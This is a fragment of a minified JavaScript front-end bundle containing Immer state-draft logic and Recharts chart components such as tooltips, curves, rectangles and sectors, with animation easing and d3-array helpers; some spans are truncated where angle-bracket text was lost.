e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=bi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Cn(11)},getPrototypeOf(e){return yo(e.base_)},setPrototypeOf(){Cn(12)}},wo={};qc(Ox,(e,t)=>{wo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});wo.deleteProperty=function(e,t){return wo.set.call(this,e,t,void 0)};wo.set=function(e,t,n){return Ox.set.call(this,e[0],t,n,e[0])};function Ff(e,t){const n=e[en];return(n?bi(n):e)[t]}function _T(e,t,n){var i;const r=Gk(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Gk(e,t){if(!(t in e))return;let n=yo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=yo(n)}}function Om(e){e.modified_||(e.modified_=!0,e.parent_&&Om(e.parent_))}function Wf(e){e.copy_||(e.copy_=Em(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var OT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Cn(6),r!==void 0&&typeof r!="function"&&Cn(7);let i;if(Hi(t)){const a=hy(this),o=Tm(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?Am(a):_m(a)}return my(a,r),xy(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Hk&&(i=void 0),this.autoFreeze_&&_x(i,!0),r){const a=[],o=[];Ki("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else Cn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){Hi(e)||Cn(8),Ba(e)&&(e=TT(e));const t=hy(this),n=Tm(e,void 0);return n[en].isManual_=!0,_m(t),n}finishDraft(e,t){const n=e&&e[en];(!n||!n.isManual_)&&Cn(9);const{scope_:r}=n;return my(r,t),xy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=Ki("Patches").applyPatches_;return Ba(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Tm(e,t){const n=Fo(e)?Ki("MapSet").proxyMap_(e,t):wd(e)?Ki("MapSet").proxySet_(e,t):AT(e,t);return(t?t.scope_:Yk()).drafts_.push(n),n}function TT(e){return Ba(e)||Cn(10,e),Xk(e)}function Xk(e){if(!Hi(e)||jd(e))return e;const t=e[en];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Em(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Em(e,!0);return qc(n,(i,a)=>{qk(n,i,Xk(a))},r),t&&(t.finalized_=!1),n}var MT=new OT;MT.produce;var LT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Zk=Ut({name:"legend",initialState:LT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:De()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:De()},removeLegendPayload:{reducer(e,t){var n=_n(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:De()}}}),{setLegendSize:xV,setLegendSettings:vV,addLegendPayload:Qk,replaceLegendPayload:Jk,removeLegendPayload:eN}=Zk.actions,IT=Zk.reducer;function Mm(){return Mm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=ea.separator,contentStyle:n,itemStyle:r,labelStyle:i=ea.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=ea.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?id(a,l):a).map((N,z)=>{if(N.type==="none")return null;var O=N.formatter||o||BT,{value:_,name:T}=N,E=_,U=T;if(O){var K=O(_,T,N,z,a);if(Array.isArray(K))[E,U]=K;else if(K!=null)E=K;else return null}var R=vs(vs({},ea.itemStyle),{},{color:N.color||ea.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:R},hr(U)?p.createElement("span",{className:"recharts-tooltip-item-name"},U):null,hr(U)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},E),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=vs(vs({},ea.contentStyle),n),g=vs({margin:0},i),y=!wt(d),v=y?d:"",b=Ve("recharts-default-tooltip",c),w=Ve("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Mm({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},gs="recharts-tooltip-wrapper",WT={visibility:"hidden"};function UT(e){var{coordinate:t,translateX:n,translateY:r}=e;return Ve(gs,{["".concat(gs,"-right")]:ue(n)&&t&&ue(t.x)&&n>=t.x,["".concat(gs,"-left")]:ue(n)&&t&&ue(t.x)&&n=t.y,["".concat(gs,"-top")]:ue(r)&&t&&ue(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return hy?Math.max(d,m):Math.max(f,m)}function VT(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function HT(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return l.height>0&&l.width>0&&n?(f=yy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=yy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=VT({translateX:f,translateY:m,useTranslate3d:c})):d=WT,{cssProperties:d,cssClasses:UT({translateX:f,translateY:m,coordinate:n})}}function by(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sl(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=HT({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:Sl(Sl({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=Sl(Sl({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var tN=()=>{var e;return(e=pe(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Im(){return Im=Object.assign?Object.assign.bind():function(e){for(var t=1;tye(e.x)&&ye(e.y),Ny=e=>e.base!=null&&Xc(e.base)&&Xc(e),ys=e=>e.x,bs=e=>e.y,QT=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Io(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=ky["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return ky[n]||Xu},Sy={connectNulls:!1,type:"linear"},JT=e=>{var{type:t=Sy.type,points:n=[],baseLine:r,layout:i,connectNulls:a=Sy.connectNulls}=e,o=QT(t,i),l=a?n.filter(Xc):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>jy(jy({},x),{},{base:r[g]}));i==="vertical"?c=vl().y(bs).x1(ys).x0(x=>x.base.x):c=vl().x(ys).y1(bs).y0(x=>x.base.y);var d=c.defined(Ny).curve(o),f=a?u.filter(Ny):u;return d(f)}var m;i==="vertical"&&ue(r)?m=vl().y(bs).x1(ys).x0(r):ue(r)?m=vl().x(ys).y1(bs).y0(r):m=f5().x(ys).y(bs);var h=m.defined(Xc).curve(o);return h(l)},Pa=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=Qa();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?JT(o):r;return p.createElement("path",Im({},mr(e),dx(e),{className:Ve("recharts-curve",t),d:l===null?void 0:l,ref:i}))},eM=["x","y","top","left","width","height","className"];function Dm(){return Dm=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),lM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=aM(e,eM),u=tM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!ue(t)||!ue(n)||!ue(a)||!ue(o)||!ue(r)||!ue(i)?null:p.createElement("path",Dm({},At(u),{className:Ve("recharts-cross",l),d:oM(t,n,a,o,r,i)}))};function cM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Cy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Py(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),nN=(e,t,n)=>e.map(r=>"".concat(pM(r)," ").concat(t,"ms ").concat(n)).join(","),mM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),jo=(e,t)=>Object.keys(t).reduce((n,r)=>Py(Py({},n),{},{[r]:e(r,t[r])}),{});function Ey(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;te+(t-e)*n,Rm=e=>{var{from:t,to:n}=e;return t!==n},rN=(e,t,n)=>{var r=jo((i,a)=>{if(Rm(a)){var[o,l]=e(a.from,a.to,a.velocity);return rt(rt({},a),{},{from:o,velocity:l})}return a},t);return n<1?jo((i,a)=>Rm(a)&&r[i]!=null?rt(rt({},a),{},{velocity:Zc(a.velocity,r[i].velocity,n),from:Zc(a.from,r[i].from,n)}):a,t):rN(e,r,n-1)};function gM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>rt(rt({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>jo((m,h)=>h.from,l),u=()=>!Object.values(l).filter(Rm).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=rN(n,l,x),i(rt(rt(rt({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function yM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:rt(rt({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=jo((g,y)=>Zc(...y,n(m)),c);if(a(rt(rt(rt({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=jo((g,y)=>Zc(...y,n(1)),c);a(rt(rt(rt({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const bM=(e,t,n,r,i,a)=>{var o=mM(e,t);return n==null?()=>(i(rt(rt({},e),t)),()=>{}):n.isStepper===!0?gM(e,t,n,o,i,a):yM(e,t,n,r,o,i,a)};var Qc=1e-4,iN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],aN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),Ay=(e,t)=>n=>{var r=iN(e,t);return aN(r,n)},wM=(e,t)=>n=>{var r=iN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return aN(i,n)},jM=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},kM=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=Ay(e,n),a=Ay(t,r),o=wM(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return _y(e);case"spring":return SM();default:if(e.split("(")[0]==="cubic-bezier")return _y(e)}return typeof e=="function"?e:null};function CM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class PM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function EM(){return CM(new PM)}var AM=p.createContext(EM);function _M(e,t){var n=p.useContext(AM);return p.useMemo(()=>t??n(e),[e,t,n])}var OM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),kd={isSsr:OM()},TM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Oy={t:0},Uf={t:1};function Nd(e){var t=rn(e,TM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!kd.isSsr:n,f=_M(t.animationId,t.animationManager),[m,h]=p.useState(d?Oy:Uf),x=p.useRef(null);return p.useEffect(()=>{d||h(Uf)},[d]),p.useEffect(()=>{if(!d||!r)return Za;var g=bM(Oy,Uf,zM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function Sd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(ho(t)),r=p.useRef(e);return r.current!==e&&(n.current=ho(t),r.current=e),n.current}var MM=["radius"],LM=["radius"],Ty,My,Ly,Iy,Dy,Ry,$y,By,Fy,Wy;function Uy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vy(e){for(var t=1;t{var a=Ur(n),o=Ur(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;hl?l:y}f=Ke(Ty||(Ty=Rn(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Ke(My||(My=Rn(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Ke(Ly||(Ly=Rn(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Ke(Iy||(Iy=Rn(["A ",",",",0,0,",`, `,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Ke(Dy||(Dy=Rn(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Ke(Ry||(Ry=Rn(["A ",",",",0,0,",`, `,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Ke($y||($y=Rn(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Ke(By||(By=Rn(["A ",",",",0,0,",`, `,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=Ke(Fy||(Fy=Rn(["M ",",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Ke(Wy||(Wy=Rn(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},qy={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},sN=e=>{var t=rn(e,qy),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=Sd(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=Ve("recharts-rectangle",d);if(!g){var N=At(t),{radius:z}=N,O=Hy(N,MM);return p.createElement("path",Jc({},O,{x:Ur(a),y:Ur(o),width:Ur(l),height:Ur(c),radius:typeof u=="number"?u:void 0,className:S,d:Ky(a,o,l,c,u)}))}var _=y.current,T=v.current,E=b.current,U=w.current,K="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),I=nN(["strokeDasharray"],m,typeof f=="string"?f:qy.animationEasing);return p.createElement(Nd,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},F=>{var B=gt(_,l,F),V=gt(T,c,F),$=gt(E,a,F),q=gt(U,o,F);n.current&&(y.current=B,v.current=V,b.current=$,w.current=q);var Y;x?F>0?Y={transition:I,strokeDasharray:R}:Y={strokeDasharray:K}:Y={strokeDasharray:R};var ie=At(t),{radius:ae}=ie,fe=Hy(ie,LM);return p.createElement("path",Jc({},fe,{radius:typeof u=="number"?u:void 0,className:S,d:Ky($,q,B,V,u),ref:n,style:Vy(Vy({},Y),t.style)}))})};function Yy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Gy(e){for(var t=1;te*180/Math.PI,et=(e,t,n,r)=>({x:e+Math.cos(-eu*r)*n,y:t+Math.sin(-eu*r)*n}),oN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},VM=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},HM=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=VM({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:UM(c),angleInRadian:c}},KM=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},qM=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},YM=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=HM({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=KM(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?Gy(Gy({},t),{},{radius:i,angle:qM(d,t)}):null};function lN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=et(t,n,r,i),l=et(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var Xy,Zy,Qy,Jy,e1,t1,n1;function $m(){return $m=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=It(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},zl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/eu,f=c?i:i+a*d,m=et(t,n,u,f),h=et(t,n,r,f),x=c?i-a*d:i,g=et(t,n,u*Math.cos(d*eu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},cN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=GM(a,o),c=a+l,u=et(t,n,i,a),d=et(t,n,i,c),f=Ke(Xy||(Xy=zi(["M ",",",` A `,",",`,0, `,",",`, `,",",` `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=et(t,n,r,a),h=et(t,n,r,c);f+=Ke(Zy||(Zy=zi(["L ",",",` A `,",",`,0, `,",",`, `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Ke(Qy||(Qy=zi(["L ",","," Z"])),t,n);return f},XM=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=It(u-c),{circleTangency:f,lineTangency:m,theta:h}=zl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=zl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Ke(Jy||(Jy=zi(["M ",",",` a`,",",",0,0,1,",`,0 a`,",",",0,0,1,",`,0 `])),m.x,m.y,a,a,a*2,a,a,-a*2):cN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Ke(e1||(e1=zi(["M ",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",",` `])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=zl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=zl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(O<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Ke(t1||(t1=zi(["L",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(O>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Ke(n1||(n1=zi(["L",",","Z"])),t,n);return b},ZM={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},uN=e=>{var t=rn(e,ZM),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a0&&Math.abs(u-d)<360?g=XM({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=cN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",$m({},At(t),{className:m,d:g}))};function QM(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(E5(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=et(r,i,a,l),u=et(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return lN(t)}}var dN={},fN={},pN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(pN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=pN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(fN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jx,n=fN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?it?1:e>=t?0:NaN}function e8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function Tx(e){let t,n,r;e.length!==2?(t=ei,n=(l,c)=>ei(e(l),c),r=(l,c)=>e(l)-c):(t=e===ei||e===e8?e:t8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function t8(){return 0}function hN(e){return e===null?NaN:+e}function*n8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const r8=Tx(ei),Wo=r8.right;Tx(hN).center;class r1 extends Map{constructor(t,n=s8){if(super(),Object.defineProperties(this,{_intern:{value:new 